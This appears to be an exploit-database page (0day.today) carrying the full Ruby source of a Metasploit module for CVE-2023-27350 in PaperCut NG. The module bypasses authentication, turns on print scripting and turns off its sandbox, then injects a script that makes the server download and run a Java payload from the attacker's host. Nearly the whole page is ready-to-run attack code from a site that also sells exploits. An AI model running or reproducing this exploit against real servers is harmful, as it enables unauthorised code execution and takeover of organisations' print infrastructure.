0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PaperCut PaperCutNG Authentication Bypass Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'cgi' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'PaperCut PaperCutNG Authentication Bypass', 'Description' => %q{ This module leverages an authentication bypass in PaperCut NG. If necessary it updates Papercut configuration options, specifically the 'print-and-device.script.enabled' and 'print.script.sandboxed' options to allow for arbitrary code execution running in the builtin RhinoJS engine. This module logs at most 2 events in the application log of papercut. Each event is tied to modifcation of server settings. }, 'License' => MSF_LICENSE, 'Author' => ['catatonicprime'], 'References' => [ ['CVE', '2023-27350'], ['ZDI', '23-233'], ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'], ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'], ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], ['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software'] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Automatic Target', {}] ], 'Platform' => [ 'java' ], 'Arch' => ARCH_JAVA, 'Privileged' => true, 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => '9191', 'SSL' => 'false' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) ], self.class ) @csrf_token = nil @config_cleanup = [] end def bypass_auth # Attempt to generate a session & recover the anti-csrf token for future requests. res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'vars_get' => { 'service' => 'page/SetupCompleted' } } ) return nil unless res && res.code == 200 vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") # Parse the application version from the response for future decisions. product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1] if product_details.nil? product_details = res.get_html_document.xpath('//span[contains(@class, "version")]') end version_match = product_details.text.match('(?<major>[0-9]+)\.(?<minor>[0-9]+)') @version_major = Integer(version_match[:major]) match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?<csrf>[^']*)'/) @csrf_token = match ? match[:csrf] : '' end def get_config_option(name) # 1) do a quickfind (setting the tapestry state) res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/ConfigEditor/quickFindForm', 'sp' => 'S0', 'Form0' => '$TextField,doQuickFind,clear', '$TextField' => name, 'doQuickFind' => 'Go' } } ) # 2) parse and return the result return nil unless res && res.code == 200 && (html = res.get_html_document) return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']")) return nil unless td.count == 1 && td.text == name value_input = html.xpath("//input[@name='$TextField$0']") value_input[0]['value'] end def set_config_option(name, value, rollback) # set name:value pair(s) current_value = get_config_option(name) if current_value == value vprint_good("Server option '#{name}' already set to '#{value}')") return end vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'") res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/ConfigEditor/$Form', 'sp' => 'S1', 'Form1' => '$TextField$0,$Submit,$Submit$0', '$TextField$0' => value, '$Submit' => 'Update' } } ) fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200 # skip storing the cleanup change if this is rolling back a previous change @config_cleanup.push([name, current_value]) unless rollback end def cleanup super if @config_cleanup.nil? return end until @config_cleanup.empty? cfg = @config_cleanup.pop vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'") set_config_option(cfg[0], cfg[1], true) end end def primer payload_uri = get_uri script = <<~SCRIPT var urls = [new java.net.URL("#{payload_uri}.jar")]; var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); s; SCRIPT # The number of parameters passed changed in version 17. form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0' if @version_major > 16 form0 += ',$Submit$1' end # 6) Trigger the code execution the printer_id res = send_request_cgi( { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', 'sp' => 'S0', 'Form0' => form0, 'enablePrintScript' => 'on', '$Submit$1' => 'Apply', 'printerId' => 'l1001', 'scriptBody' => script } } ) fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200 end def check # For the check command bypass_success = bypass_auth if bypass_success.nil? return Exploit::CheckCode::Safe end return Exploit::CheckCode::Vulnerable end def exploit # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. bypass_auth unless @csrf_token if @csrf_token.nil? fail_with Failure::NotVulnerable, 'Target is not vulnerable' end # Sandboxing wasn't introduced until version 19 if @version_major >= 19 # 2) Enable scripts, if needed set_config_option('print-and-device.script.enabled', 'Y', false) # 3) Disable sandboxing, if needed set_config_option('print.script.sandboxed', 'N', false) end # 5) Select the printer, this loads it into the tapestry session to be modified res = send_request_cgi( { 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri }, 'vars_get' => { 'service' => 'direct/1/PrinterList/selectPrinter', 'sp' => 'l1001' } } ) fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200 Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error # When the server stop due to our timeout, this is raised end def on_request_uri(cli, request) vprint_status("Sending payload for requested uri: #{request.uri}") send_response(cli, payload.raw) end end # 0day.today [2024-06-27] #